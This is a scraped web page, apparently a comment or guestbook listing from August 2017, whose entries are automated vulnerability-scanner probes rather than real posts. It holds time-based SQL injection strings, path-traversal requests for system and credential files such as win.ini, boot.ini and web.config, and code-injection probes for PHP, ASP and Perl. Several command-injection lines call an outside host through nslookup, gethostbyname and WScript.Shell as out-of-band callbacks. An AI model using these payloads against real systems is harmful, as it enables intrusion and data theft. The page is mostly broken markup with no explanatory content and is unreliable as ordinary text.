t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n SELECT pg_sleep(25)--\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../proc/version\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:09:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:56 AM\r\n

\r\n

\r\n ;SELECT pg_sleep(25)--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:56 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n ';SELECT pg_sleep(25)--\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:55 AM\r\n

\r\n

\r\n 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:09:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:54 AM\r\n

\r\n

\r\n 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '\r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../proc/version

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache/error.log

\r\n

\r\n 8/23/2017 8:09:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n ((select sleep(25)))a-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:52 AM\r\n

\r\n

\r\n |nslookup${IFS}\"o010_rdnxu19k9chh5tbbyojxvthogj-bgugbpdu\"\"np8.r87.me\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \"&nslookup \"o010_rdnxud6pcldcpwfpwyqkkfj-ppegaokpyop\"\"v90.r87.me\"\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache2/error.log

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1\r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n '&nslookup \"o010_rdnxu3vfnc2mjmdsmqjf1_u4efyppjssgz3\"\"apw.r87.me\"\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error_log

\r\n

\r\n 8/23/2017 8:09:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n &nslookup \"o010_rdnxuywyz0nnht1rm1nopeh1zxovrslrvcc\"\"7j8.r87.me\"\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n nslookup \"o010_rdnxuyq6restihprsdjetv_0rnd_6gqctvt\"\"dny.r87.me\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:50 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error.log

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \"& nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&'\\\"`0&nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&`'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:49 AM\r\n

\r\n

\r\n '& nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&'\\\"`0&nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&`'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:48 AM\r\n

\r\n

\r\n 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n & nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&'\\\"`0&nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&`'\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:47 AM\r\n

\r\n

\r\n nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&'\\\"`0&nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&`'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n \"+gethostbyname(lc 'o010_rdnxuc1kpaqluummwkxtdftvikqzwjbmnhf'.'lj4.r87.me')+\"\r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:46 AM\r\n

\r\n

\r\n '+gethostbyname(lc 'o010_rdnxukwipnmwcjrkytxckegtjtyk2jayovs'.'cvw.r87.me')+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n eval('gethostbyname(lc 'o010_rdnxug9f9g-nzu2dlhbrkjok_u2i-yssk8n'.'jv4.r87.me')')\r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n gethostbyname(lc 'o010_rdnxuwddhhgbmd88or-l3djvhd4dvihy94x'.'6bo.r87.me')\r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:09:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucr_42triopl-fvdxyaved2d3dtea7p\" & \"hf8.r87.me\").StdOut.ReadAll+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n expr 268409241 - 2\r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:44 AM\r\n

\r\n

\r\n <%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuaakbzptetvtkyhcbhevkw_pofadg_p\" & \"asu.r87.me\").StdOut.ReadAll%>\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n 1)) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n +createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxumjo7pm0arhrb_jrdcjlrrfkdkeo1dq\" & \"olq.r87.me\").StdOut.ReadAll+\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:43 AM\r\n

\r\n

\r\n +createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft\" & \"k80.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

/../../../../../../../../../../windows/iis6.log

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:42 AM\r\n

\r\n

\r\n createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve\" & \"g44.r87.me\").StdOut.ReadAll\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n expr 268409241 - 2;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:41 AM\r\n

\r\n

\r\n ')) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n &ping -w 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n \"+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:39 AM\r\n

\r\n

\r\n '&ping -w 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ;expr 268409241 - 2;x\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n ') WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \"&ping -w 25 127.0.0.1 &\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));//\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

\r\n

\r\n 8/23/2017 8:09:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n & ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:36 AM\r\n

\r\n

\r\n ';expr 268409241 - 2;'\r\n

\r\n
\r\n

c:\\windows\\win.ini

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n '& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n 1) WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me'));\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:35 AM\r\n

\r\n

\r\n \"& ping -n 25 127.0.0.1 &\r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me'))\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:33 AM\r\n

\r\n

\r\n \";expr 268409241 - 2;\"\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

file:/windows/win.ini

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../windows/win.ini

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n 1 WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

/../../../../../../../../../../web.config

\r\n

\r\n 8/23/2017 8:09:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

c%3a%5cboot.ini

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file%3a%2fboot.ini

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n ' WAITFOR DELAY '0:0:25'--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

\r\n

\r\n 8/23/2017 8:09:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:26 AM\r\n

\r\n

\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n & SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n '& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

c:\\boot.ini

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \"& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/boot.ini

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

